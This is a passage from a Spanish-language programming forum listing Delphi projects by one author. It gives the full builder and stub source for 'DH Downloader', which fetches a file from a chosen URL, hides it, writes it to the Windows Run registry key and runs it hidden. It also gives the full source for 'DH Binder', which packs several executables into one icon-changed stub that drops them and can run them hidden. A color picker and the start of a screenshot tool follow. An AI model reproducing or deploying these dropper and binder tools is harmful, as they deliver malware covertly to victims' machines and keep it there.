  22.    GroupBox1: TGroupBox;
  23.    PageControl2: TPageControl;
  24.    TabSheet4: TTabSheet;
  25.    TabSheet5: TTabSheet;
  26.    GroupBox2: TGroupBox;
  27.    Button1: TButton;
  28.    StatusBar1: TStatusBar;
  29.    GroupBox3: TGroupBox;
  30.    Edit1: TEdit;
  31.    GroupBox4: TGroupBox;
  32.    CheckBox1: TCheckBox;
  33.    Edit2: TEdit;
  34.    CheckBox2: TCheckBox;
  35.    Edit3: TEdit;
  36.    TabSheet6: TTabSheet;
  37.    GroupBox5: TGroupBox;
  38.    RadioButton1: TRadioButton;
  39.    RadioButton2: TRadioButton;
  40.    CheckBox3: TCheckBox;
  41.    CheckBox4: TCheckBox;
  42.    CheckBox5: TCheckBox;
  43.    GroupBox6: TGroupBox;
  44.    PageControl3: TPageControl;
  45.    TabSheet7: TTabSheet;
  46.    TabSheet8: TTabSheet;
  47.    TabSheet9: TTabSheet;
  48.    GroupBox7: TGroupBox;
  49.    Edit4: TEdit;
  50.    GroupBox8: TGroupBox;
  51.    Edit5: TEdit;
  52.    GroupBox9: TGroupBox;
  53.    RadioButton3: TRadioButton;
  54.    RadioButton4: TRadioButton;
  55.    TabSheet10: TTabSheet;
  56.    GroupBox10: TGroupBox;
  57.    GroupBox11: TGroupBox;
  58.    Button2: TButton;
  59.    Edit6: TEdit;
  60.    GroupBox12: TGroupBox;
  61.    GroupBox13: TGroupBox;
  62.    ComboBox1: TComboBox;
  63.    GroupBox14: TGroupBox;
  64.    CheckBox6: TCheckBox;
  65.    GroupBox15: TGroupBox;
  66.    Image2: TImage;
  67.    Memo1: TMemo;
  68.    Image3: TImage;
  69.    GroupBox16: TGroupBox;
  70.    Button3: TButton;
  71.    ProgressBar1: TProgressBar;
  72.    IdHTTP1: TIdHTTP;
  73.    OpenDialog1: TOpenDialog;
  74.    GroupBox17: TGroupBox;
  75.    Image1: TImage;
  76.    procedure FormCreate(Sender: TObject);
  77.    procedure Button1Click(Sender: TObject);
  78.    procedure Button2Click(Sender: TObject);
  79.    procedure Button3Click(Sender: TObject);
  80.    procedure Edit5DblClick(Sender: TObject);
  81.  private
  82.    { Private declarations }
  83.  public
  84.    { Public declarations }
  85.  end;
  86.  
  87. var
  88.  Form1: TForm1;
  89.  
  90. implementation
  91.  
  92. {$R *.dfm}
  93. // Functions
  94.  
  95. function dhencode(texto, opcion: string): string;
  96. // Thanks to Taqyon
  97. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  98. var
  99.  num: integer;
  100.  aca: string;
  101.  cantidad: integer;
  102.  
  103. begin
  104.  
  105.  num := 0;
  106.  Result := '';
  107.  aca := '';
  108.  cantidad := 0;
  109.  
  110.  if (opcion = 'encode') then
  111.  begin
  112.    cantidad := length(texto);
  113.    for num := 1 to cantidad do
  114.    begin
  115.      aca := IntToHex(ord(texto[num]), 2);
  116.      Result := Result + aca;
  117.    end;
  118.  end;
  119.  
  120.  if (opcion = 'decode') then
  121.  begin
  122.    cantidad := length(texto);
  123.    for num := 1 to cantidad div 2 do
  124.    begin
  125.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  126.      Result := Result + aca;
  127.    end;
  128.  end;
  129.  
  130. end;
  131.  
  132. function getfilename(archivo: string): string;
  133. var
  134.  test: TStrings;
  135. begin
  136.  
  137.  test := TStringList.Create;
  138.  test.Delimiter := '/';
  139.  test.DelimitedText := archivo;
  140.  Result := test[test.Count - 1];
  141.  
  142.  test.Free;
  143.  
  144. end;
  145.  
  146. //
  147.  
  148. procedure TForm1.Button1Click(Sender: TObject);
  149. var
  150.  filename: string;
  151.  nombrefinal: string;
  152.  addnow: TRegistry;
  153.  archivobajado: TFileStream;
  154.  
  155. begin
  156.  
  157.  if not CheckBox1.Checked then
  158.  begin
  159.    filename := Edit1.Text;
  160.    nombrefinal := getfilename(filename);
  161.  end
  162.  else
  163.  begin
  164.    nombrefinal := Edit2.Text;
  165.  end;
  166.  
  167.  archivobajado := TFileStream.Create(nombrefinal, fmCreate);
  168.  
  169.  try
  170.    begin
  171.      DeleteFile(nombrefinal);
  172.      IdHTTP1.Get(Edit1.Text, archivobajado);
  173.      StatusBar1.Panels[0].Text := '[+] File Dowloaded';
  174.      StatusBar1.Update;
  175.      archivobajado.Free;
  176.    end;
  177.  except
  178.    StatusBar1.Panels[0].Text := '[-] Failed download';
  179.    StatusBar1.Update;
  180.    archivobajado.Free;
  181.    Abort;
  182.  end;
  183.  
  184.  if FileExists(nombrefinal) then
  185.  begin
  186.  
  187.    if CheckBox2.Checked then
  188.    begin
  189.      if not DirectoryExists(Edit3.Text) then
  190.      begin
  191.        CreateDir(Edit3.Text);
  192.      end;
  193.      MoveFile(Pchar(nombrefinal), Pchar(Edit3.Text + '/' + nombrefinal));
  194.      StatusBar1.Panels[0].Text := '[+] File Moved';
  195.      StatusBar1.Update;
  196.    end;
  197.  
  198.    if CheckBox3.Checked then
  199.    begin
  200.      SetFileAttributes(Pchar(Edit3.Text), FILE_ATTRIBUTE_HIDDEN);
  201.      if CheckBox2.Checked then
  202.      begin
  203.        SetFileAttributes(Pchar(Edit3.Text + '/' + nombrefinal),
  204.          FILE_ATTRIBUTE_HIDDEN);
  205.  
  206.        StatusBar1.Panels[0].Text := '[+] File Hidden';
  207.        StatusBar1.Update;
  208.      end
  209.      else
  210.      begin
  211.        SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
  212.        StatusBar1.Panels[0].Text := '[+] File Hidden';
  213.        StatusBar1.Update;
  214.      end;
  215.    end;
  216.  
  217.    if CheckBox4.Checked then
  218.    begin
  219.  
  220.      addnow := TRegistry.Create;
  221.      addnow.RootKey := HKEY_LOCAL_MACHINE;
  222.      addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  223.  
  224.      if CheckBox2.Checked then
  225.      begin
  226.        addnow.WriteString('uber', Edit3.Text + '/' + nombrefinal);
  227.      end
  228.      else
  229.      begin
  230.        addnow.WriteString('uber', ExtractFilePath(Application.ExeName) + '/' +
  231.          nombrefinal);
  232.      end;
  233.  
  234.      StatusBar1.Panels[0].Text := '[+] Registry Updated';
  235.      StatusBar1.Update;
  236.  
  237.      addnow.Free;
  238.  
  239.    end;
  240.  
  241.    if CheckBox5.Checked then
  242.    begin
  243.  
  244.      if RadioButton1.Checked then
  245.      begin
  246.        if CheckBox2.Checked then
  247.        begin
  248.          ShellExecute(Handle, 'open', Pchar(Edit3.Text + '/' + nombrefinal),
  249.            nil, nil, SW_SHOWNORMAL);
  250.        end
  251.        else
  252.        begin
  253.          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
  254.            SW_SHOWNORMAL);
  255.        end;
  256.      end
  257.      else
  258.      begin
  259.        if CheckBox2.Checked then
  260.        begin
  261.          ShellExecute(Handle, 'open', Pchar(Edit3.Text + '/' + nombrefinal),
  262.            nil, nil, SW_HIDE);
  263.        end
  264.        else
  265.        begin
  266.          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
  267.        end;
  268.      end;
  269.  
  270.    end;
  271.  
  272.    if CheckBox1.Checked or CheckBox2.Checked or CheckBox3.Checked or
  273.      CheckBox4.Checked or CheckBox5.Checked then
  274.    begin
  275.      StatusBar1.Panels[0].Text := '[+] Finished';
  276.      StatusBar1.Update;
  277.    end;
  278.  
  279.  end;
  280.  
  281. end;
  282.  
  283. procedure TForm1.Button2Click(Sender: TObject);
  284. begin
  285.  
  286.  if OpenDialog1.Execute then
  287.  begin
  288.    Image1.Picture.LoadFromFile(OpenDialog1.filename);
  289.    Edit6.Text := OpenDialog1.filename;
  290.  end;
  291.  
  292. end;
  293.  
  294. procedure TForm1.Button3Click(Sender: TObject);
  295. var
  296.  linea: string;
  297.  aca: THandle;
  298.  code: Array [0 .. 9999 + 1] of Char;
  299.  nose: DWORD;
  300.  marca_uno: string;
  301.  marca_dos: string;
  302.  url: string;
  303.  opcionocultar: string;
  304.  savein: string;
  305.  lineafinal: string;
  306.  stubgenerado: string;
  307.  tipodecarga: string;
  308.  change: DWORD;
  309.  valor: string;
  310.  
  311. begin
  312.  
  313.  url := Edit4.Text;
  314.  stubgenerado := 'tiny_down.exe';
  315.  
  316.  if (RadioButton4.Checked = True) then
  317.  begin
  318.    tipodecarga := '1';
  319.  end
  320.  else
  321.  begin
  322.    tipodecarga := '0';
  323.  end;
  324.  
  325.  if (CheckBox6.Checked = True) then
  326.  begin
  327.    opcionocultar := '1';
  328.  end
  329.  else
  330.  begin
  331.    opcionocultar := '0';
  332.  end;
  333.  
  334.  if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
  335.  begin
  336.    savein := 'USERPROFILE';
  337.  end
  338.  else
  339.  begin
  340.    savein := ComboBox1.Items[ComboBox1.ItemIndex];
  341.  end;
  342.  
  343.  lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
  344.    '[opcion]' + '[path]' + savein + '[path]' + '[name]' + Edit5.Text + '[name]'
  345.    + '[carga]' + tipodecarga + '[carga]';
  346.  
  347.  marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';
  348.  
  349.  aca := INVALID_HANDLE_VALUE;
  350.  nose := 0;
  351.  
  352.  DeleteFile(stubgenerado);
  353.  CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' +
  354.    'Data/stub_down.exe'), Pchar(ExtractFilePath(Application.ExeName) + '/' +
  355.    stubgenerado), True);
  356.  
  357.  linea := marca_uno;
  358.  StrCopy(code, Pchar(linea));
  359.  aca := CreateFile(Pchar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
  360.    OPEN_EXISTING, 0, 0);
  361.  if (aca <> INVALID_HANDLE_VALUE) then
  362.  begin
  363.    SetFilePointer(aca, 0, nil, FILE_END);
  364.    WriteFile(aca, code, 9999, nose, nil);
  365.    CloseHandle(aca);
  366.  end;
  367.  
  368.  //
  369.  
  370.  if not(Edit6.Text = '') then
  371.  begin
  372.    try
  373.      begin
  374.  
  375.        valor := IntToStr(128);
  376.  
  377.        change := BeginUpdateResourceW
  378.          (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
  379.          stubgenerado)), FALSE);
  380.        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  381.          PWideChar(wideString(Edit6.Text)));
  382.        EndUpdateResourceW(change, FALSE);
  383.        StatusBar1.Panels[0].Text := '[+] Done ';
  384.        StatusBar1.Update;
  385.      end;
  386.    except
  387.      begin
  388.        StatusBar1.Panels[0].Text := '[-] Error';
  389.        StatusBar1.Update;
  390.      end;
  391.    end;
  392.  end
  393.  else
  394.  begin
  395.    StatusBar1.Panels[0].Text := '[+] Done ';
  396.    StatusBar1.Update;
  397.  end;
  398.  
  399.  //
  400.  
  401. end;
  402.  
  403. procedure TForm1.Edit5DblClick(Sender: TObject);
  404. begin
  405.  
  406.  if not(Edit4.Text = '') then
  407.  begin
  408.    Edit5.Text := getfilename(Edit4.Text);
  409.  end;
  410.  
  411. end;
  412.  
  413. procedure TForm1.FormCreate(Sender: TObject);
  414. begin
  415.  ProgressBar1.Position := 0;
  416.  
  417.  OpenDialog1.InitialDir := GetCurrentDir;
  418.  OpenDialog1.Filter := 'ICO|*.ico|';
  419.  
  420. end;
  421.  
  422. end.
  423.  
  424. // The End ?
  425.  

El stub :

Código
  1. // DH Downloader 0.8
  2. // (C) Doddy Hackman 2014
  3.  
  4. // Stub
  5.  
  6. program stub_down;
  7.  
  8. // {$APPTYPE CONSOLE}
  9.  
  10. uses
  11.  SysUtils, Windows, URLMon, ShellApi;
  12.  
  13. // Functions
  14.  
  15. function regex(text: String; deaca: String; hastaaca: String): String;
  16. begin
  17.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  18.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  19.  Result := text;
  20. end;
  21.  
  22. function dhencode(texto, opcion: string): string;
  23. // Thanks to Taqyon
  24. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  25. var
  26.  num: integer;
  27.  aca: string;
  28.  cantidad: integer;
  29.  
  30. begin
  31.  
  32.  num := 0;
  33.  Result := '';
  34.  aca := '';
  35.  cantidad := 0;
  36.  
  37.  if (opcion = 'encode') then
  38.  begin
  39.    cantidad := Length(texto);
  40.    for num := 1 to cantidad do
  41.    begin
  42.      aca := IntToHex(ord(texto[num]), 2);
  43.      Result := Result + aca;
  44.    end;
  45.  end;
  46.  
  47.  if (opcion = 'decode') then
  48.  begin
  49.    cantidad := Length(texto);
  50.    for num := 1 to cantidad div 2 do
  51.    begin
  52.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  53.      Result := Result + aca;
  54.    end;
  55.  end;
  56.  
  57. end;
  58.  
  59. //
  60.  
  61. var
  62.  ob: THandle;
  63.  code: Array [0 .. 9999 + 1] of Char;
  64.  nose: DWORD;
  65.  link: string;
  66.  todo: string;
  67.  opcion: string;
  68.  path: string;
  69.  nombre: string;
  70.  rutafinal: string;
  71.  tipodecarga: string;
  72.  
  73. begin
  74.  
  75.  try
  76.  
  77.    ob := INVALID_HANDLE_VALUE;
  78.    code := '';
  79.  
  80.    ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
  81.      OPEN_EXISTING, 0, 0);
  82.    if (ob <> INVALID_HANDLE_VALUE) then
  83.    begin
  84.      SetFilePointer(ob, -9999, nil, FILE_END);
  85.      ReadFile(ob, code, 9999, nose, nil);
  86.      CloseHandle(ob);
  87.    end;
  88.  
  89.    todo := regex(code, '[63686175]', '[63686175]');
  90.    todo := dhencode(todo, 'decode');
  91.  
  92.    link := regex(todo, '[link]', '[link]');
  93.    opcion := regex(todo, '[opcion]', '[opcion]');
  94.    path := regex(todo, '[path]', '[path]');
  95.    nombre := regex(todo, '[name]', '[name]');
  96.    tipodecarga := regex(todo, '[carga]', '[carga]');
  97.  
  98.    rutafinal := GetEnvironmentVariable(path) + '/' + nombre;
  99.  
  100.    try
  101.  
  102.      begin
  103.        UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);
  104.  
  105.        if (FileExists(rutafinal)) then
  106.        begin
  107.  
  108.          if (opcion = '1') then
  109.          begin
  110.            SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
  111.          end;
  112.  
  113.          if (tipodecarga = '1') then
  114.          begin
  115.            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
  116.          end
  117.          else
  118.          begin
  119.            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
  120.          end;
  121.        end;
  122.  
  123.      end;
  124.    except
  125.      //
  126.    end;
  127.  
  128.  except
  129.    //
  130.  end;
  131.  
  132. end.
  133.  
  134. // The End ?
  135.  

Si lo quieren bajar lo pueden hacer de aca.
124  Programación / Programación General / [Delphi] DH Binder 0.5 en: 21 Mayo 2014, 23:11 pm
Version final de esta binder que hice en Delphi.

Una imagen :



Un video con un ejemplo de uso :



Los codigos :

El generador.

Código
  1. // DH Binder 0.5
  2. // (C) Doddy Hackman 2014
  3. // Credits :
  4. // Joiner Based in : "Ex Binder v0.1" by TM
  5. // Icon Changer based in : "IconChanger" By Chokstyle
  6. // Thanks to TM & Chokstyle
  7.  
  8. unit dh;
  9.  
  10. interface
  11.  
  12. uses
  13.  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  14.  System.Classes, Vcl.Graphics,
  15.  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.pngimage,
  16.  Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Menus, MadRes;
  17.  
  18. type
  19.  TForm1 = class(TForm)
  20.    Image1: TImage;
  21.    StatusBar1: TStatusBar;
  22.    PageControl1: TPageControl;
  23.    TabSheet1: TTabSheet;
  24.    TabSheet2: TTabSheet;
  25.    TabSheet3: TTabSheet;
  26.    TabSheet4: TTabSheet;
  27.    GroupBox1: TGroupBox;
  28.    Button1: TButton;
  29.    GroupBox2: TGroupBox;
  30.    ListView1: TListView;
  31.    GroupBox3: TGroupBox;
  32.    GroupBox4: TGroupBox;
  33.    ComboBox1: TComboBox;
  34.    GroupBox5: TGroupBox;
  35.    CheckBox1: TCheckBox;
  36.    GroupBox6: TGroupBox;
  37.    GroupBox7: TGroupBox;
  38.    Image2: TImage;
  39.    GroupBox8: TGroupBox;
  40.    Button2: TButton;
  41.    GroupBox9: TGroupBox;
  42.    Image3: TImage;
  43.    Memo1: TMemo;
  44.    PopupMenu1: TPopupMenu;
  45.    AddFile1: TMenuItem;
  46.    CleanList1: TMenuItem;
  47.    OpenDialog1: TOpenDialog;
  48.    OpenDialog2: TOpenDialog;
  49.    Edit1: TEdit;
  50.    procedure CleanList1Click(Sender: TObject);
  51.    procedure AddFile1Click(Sender: TObject);
  52.    procedure Button2Click(Sender: TObject);
  53.    procedure FormCreate(Sender: TObject);
  54.    procedure Button1Click(Sender: TObject);
  55.  private
  56.    { Private declarations }
  57.  public
  58.    { Public declarations }
  59.  end;
  60.  
  61. var
  62.  Form1: TForm1;
  63.  
  64. implementation
  65.  
  66. {$R *.dfm}
  67. // Functions
  68.  
  69. function dhencode(texto, opcion: string): string;
  70. // Thanks to Taqyon
  71. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  72. var
  73.  num: integer;
  74.  aca: string;
  75.  cantidad: integer;
  76.  
  77. begin
  78.  
  79.  num := 0;
  80.  Result := '';
  81.  aca := '';
  82.  cantidad := 0;
  83.  
  84.  if (opcion = 'encode') then
  85.  begin
  86.    cantidad := length(texto);
  87.    for num := 1 to cantidad do
  88.    begin
  89.      aca := IntToHex(ord(texto[num]), 2);
  90.      Result := Result + aca;
  91.    end;
  92.  end;
  93.  
  94.  if (opcion = 'decode') then
  95.  begin
  96.    cantidad := length(texto);
  97.    for num := 1 to cantidad div 2 do
  98.    begin
  99.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  100.      Result := Result + aca;
  101.    end;
  102.  end;
  103.  
  104. end;
  105.  
  106. //
  107.  
  108. procedure TForm1.AddFile1Click(Sender: TObject);
  109. var
  110.  op: String;
  111. begin
  112.  
  113.  if OpenDialog1.Execute then
  114.  begin
  115.  
  116.    op := InputBox('Add File', 'Execute Hide ?', 'Yes');
  117.  
  118.    with ListView1.Items.Add do
  119.    begin
  120.      Caption := ExtractFileName(OpenDialog1.FileName);
  121.      if (op = 'Yes') then
  122.      begin
  123.        SubItems.Add(OpenDialog1.FileName);
  124.        SubItems.Add('Hide');
  125.      end
  126.      else
  127.      begin
  128.        SubItems.Add(OpenDialog1.FileName);
  129.        SubItems.Add('Normal');
  130.      end;
  131.    end;
  132.  
  133.  end;
  134. end;
  135.  
  136. procedure TForm1.Button1Click(Sender: TObject);
  137. var
  138.  i: integer;
  139.  nombre: string;
  140.  ruta: string;
  141.  tipo: string;
  142.  savein: string;
  143.  opcionocultar: string;
  144.  lineafinal: string;
  145.  uno: DWORD;
  146.  tam: DWORD;
  147.  dos: DWORD;
  148.  tres: DWORD;
  149.  todo: Pointer;
  150.  change: DWORD;
  151.  valor: string;
  152.  stubgenerado: string;
  153.  
  154. begin
  155.  
  156.  if (ListView1.Items.Count = 0) or (ListView1.Items.Count = 1) then
  157.  begin
  158.    ShowMessage('You have to choose two or more files');
  159.  end
  160.  else
  161.  begin
  162.    stubgenerado := 'done.exe';
  163.  
  164.    if (CheckBox1.Checked = True) then
  165.    begin
  166.      opcionocultar := '1';
  167.    end
  168.    else
  169.    begin
  170.      opcionocultar := '0';
  171.    end;
  172.  
  173.    if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
  174.    begin
  175.      savein := 'USERPROFILE';
  176.    end
  177.    else
  178.    begin
  179.      savein := ComboBox1.Items[ComboBox1.ItemIndex];
  180.    end;
  181.  
  182.    DeleteFile(stubgenerado);
  183.    CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
  184.      'Data/stub.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
  185.      stubgenerado), True);
  186.  
  187.    uno := BeginUpdateResource(PChar(ExtractFilePath(Application.ExeName) + '/'
  188.      + stubgenerado), True);
  189.  
  190.    for i := 0 to ListView1.Items.Count - 1 do
  191.    begin
  192.  
  193.      nombre := ListView1.Items[i].Caption;
  194.      ruta := ListView1.Items[i].SubItems[0];
  195.      tipo := ListView1.Items[i].SubItems[1];
  196.  
  197.      lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
  198.        '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
  199.      lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode') +
  200.        '[63686175]';
  201.  
  202.      dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
  203.        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  204.      tam := GetFileSize(dos, nil);
  205.      GetMem(todo, tam);
  206.      ReadFile(dos, todo^, tam, tres, nil);
  207.      CloseHandle(dos);
  208.      UpdateResource(uno, RT_RCDATA, PChar(lineafinal),
  209.        MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam);
  210.  
  211.    end;
  212.  
  213.    EndUpdateResource(uno, False);
  214.  
  215.    if not(Edit1.Text = '') then
  216.    begin
  217.      try
  218.        begin
  219.          change := BeginUpdateResourceW
  220.            (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
  221.            stubgenerado)), False);
  222.          LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  223.            PWideChar(wideString(Edit1.Text)));
  224.          EndUpdateResourceW(change, False);
  225.          StatusBar1.Panels[0].Text := '[+] Done ';
  226.          Form1.StatusBar1.Update;
  227.        end;
  228.      except
  229.        begin
  230.          StatusBar1.Panels[0].Text := '[-] Error';
  231.          Form1.StatusBar1.Update;
  232.        end;
  233.      end;
  234.    end
  235.    else
  236.    begin
  237.      StatusBar1.Panels[0].Text := '[+] Done ';
  238.      Form1.StatusBar1.Update;
  239.    end;
  240.  end;
  241. end;
  242.  
  243. procedure TForm1.Button2Click(Sender: TObject);
  244. begin
  245.  if OpenDialog2.Execute then
  246.  begin
  247.    Image2.Picture.LoadFromFile(OpenDialog2.FileName);
  248.    Edit1.Text := OpenDialog2.FileName;
  249.  end;
  250. end;
  251.  
  252. procedure TForm1.CleanList1Click(Sender: TObject);
  253. begin
  254.  ListView1.Items.Clear;
  255. end;
  256.  
  257. procedure TForm1.FormCreate(Sender: TObject);
  258. begin
  259.  OpenDialog1.InitialDir := GetCurrentDir;
  260.  OpenDialog2.InitialDir := GetCurrentDir;
  261.  OpenDialog2.Filter := 'Icons|*.ico|';
  262. end;
  263.  
  264. end.
  265.  
  266. // The End ?
  267.  

El stub.

Código
  1. // DH Binder 0.5
  2. // (C) Doddy Hackman 2014
  3. // Credits :
  4. // Joiner Based in : "Ex Binder v0.1" by TM
  5. // Icon Changer based in : "IconChanger" By Chokstyle
  6. // Thanks to TM & Chokstyle
  7.  
  8. program stub;
  9.  
  10. uses
  11.  Windows,
  12.  SysUtils,
  13.  ShellApi;
  14.  
  15. // Functions
  16.  
  17. function regex(text: String; deaca: String; hastaaca: String): String;
  18. begin
  19.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  20.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  21.  Result := text;
  22. end;
  23.  
  24. function dhencode(texto, opcion: string): string;
  25. // Thanks to Taqyon
  26. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  27. var
  28.  num: integer;
  29.  aca: string;
  30.  cantidad: integer;
  31.  
  32. begin
  33.  
  34.  num := 0;
  35.  Result := '';
  36.  aca := '';
  37.  cantidad := 0;
  38.  
  39.  if (opcion = 'encode') then
  40.  begin
  41.    cantidad := Length(texto);
  42.    for num := 1 to cantidad do
  43.    begin
  44.      aca := IntToHex(ord(texto[num]), 2);
  45.      Result := Result + aca;
  46.    end;
  47.  end;
  48.  
  49.  if (opcion = 'decode') then
  50.  begin
  51.    cantidad := Length(texto);
  52.    for num := 1 to cantidad div 2 do
  53.    begin
  54.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  55.      Result := Result + aca;
  56.    end;
  57.  end;
  58.  
  59. end;
  60.  
  61. //
  62.  
  63. // Start the game
  64.  
  65. function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
  66. var
  67.  data: DWORD;
  68.  uno: DWORD;
  69.  dos: DWORD;
  70.  cinco2: string;
  71.  nombre: string;
  72.  tipodecarga: string;
  73.  ruta: string;
  74.  ocultar: string;
  75.  
  76. begin
  77.  
  78.  Result := True;
  79.  
  80.  cinco2 := cinco;
  81.  cinco2 := regex(cinco2, '[63686175]', '[63686175]');
  82.  cinco2 := dhencode(cinco2, 'decode');
  83.  cinco2 := LowerCase(cinco2);
  84.  
  85.  nombre := regex(cinco2, '[nombre]', '[nombre]');
  86.  tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
  87.  ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
  88.  ocultar := regex(cinco2, '[hide]', '[hide]');
  89.  
  90.  data := FindResource(0, cinco, cuatro);
  91.  
  92.  uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
  93.    CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  94.  WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
  95.    dos, nil);
  96.  
  97.  CloseHandle(uno);
  98.  
  99.  if (ocultar = '1') then
  100.  begin
  101.    SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
  102.  end;
  103.  
  104.  if (tipodecarga = 'normal') then
  105.  begin
  106.    ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_SHOWNORMAL);
  107.  end
  108.  else
  109.  begin
  110.    ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_HIDE);
  111.  end;
  112.  
  113. end;
  114.  
  115. begin
  116.  
  117.  EnumResourceNames(0, RT_RCDATA, @start, 0);
  118.  
  119. end.
  120.  
  121. // The End ?
  122.  

Si lo quieren bajar lo pueden hacer de aca.
125  Programación / Programación General / [Delphi] DH GetColor 0.3 en: 16 Mayo 2014, 18:20 pm
Version final de este programa para encontrar el color de un pixel.

Una imagen :



El codigo :

Código:
// DH GetColor 0.3
// (C) Doddy Hackman 2014
// Credits :
// Based on  : http://stackoverflow.com/questions/15155505/get-pixel-color-under-mouse-cursor-fast-way
// Based on : http://www.coldtail.com/wiki/index.php?title=Borland_Delphi_Example_-_Show_pixel_color_under_mouse_cursor

unit dh;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.pngimage,
  Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Clipbrd;

type
  TForm1 = class(TForm)
    Image1: TImage;
    StatusBar1: TStatusBar;
    Timer1: TTimer;
    GroupBox1: TGroupBox;
    Shape1: TShape;
    GroupBox2: TGroupBox;
    Memo1: TMemo;
    Label1: TLabel;
    Label2: TLabel;
    Timer2: TTimer;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);

  private
    capturanow: HDC;
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  capturanow := GetDC(0);
  if (capturanow <> 0) then
  begin
    Timer1.Enabled := True;
  end;

end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  aca: TPoint;
  color: TColor;
  re: string;

begin

  if GetCursorPos(aca) then
  begin
    color := GetPixel(capturanow, aca.X, aca.Y);
    Shape1.Brush.color := color;
    re := IntToHex(GetRValue(color), 2) + IntToHex(GetGValue(color), 2) +
      IntToHex(GetBValue(color), 2);
    Label2.Caption := re;
    StatusBar1.Panels[0].Text := '[+] Finding colors ...';
    Form1.StatusBar1.Update;
  end;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
var
  re: Longint;
begin

  re := GetAsyncKeyState(65);
  if re = -32767 then
  begin
    Clipboard.AsText := Label2.Caption;
    StatusBar1.Panels[0].Text := '[+] Color copied to clipboard';
    Form1.StatusBar1.Update;
  end;

end;

end.

// The End ?

Si quieren bajar el programa lo pueden hacer de aca.
126  Programación / Programación General / [Delphi] DH ScreenShoter 0.3 en: 9 Mayo 2014, 20:22 pm
Version final de este programa para sacar un screenshot y subirlo ImageShack.

Una imagen :



El codigo :

Código
  1. // DH Screenshoter 0.3
  2. // (C) Doddy Hackman 2014
  3. // Based in the API of : https://imageshack.com/
  4.  
  5. unit screen;
  6.  
  7. interface
  8.  
  9. uses
  10.  Windows, System.SysUtils, System.Variants,
  11.  System.Classes, Graphics,
  12.  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.Imaging.pngimage, Vcl.ExtCtrls,
  13.  Vcl.ComCtrls, Vcl.StdCtrls, Jpeg, ShellApi, IdMultipartFormData,
  14.  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, PerlRegEx,
  15.  about;
  16.  
  17. type
  18.  TForm1 = class(TForm)
  19.    Image1: TImage;
  20.    StatusBar1: TStatusBar;
  21.    GroupBox1: TGroupBox;
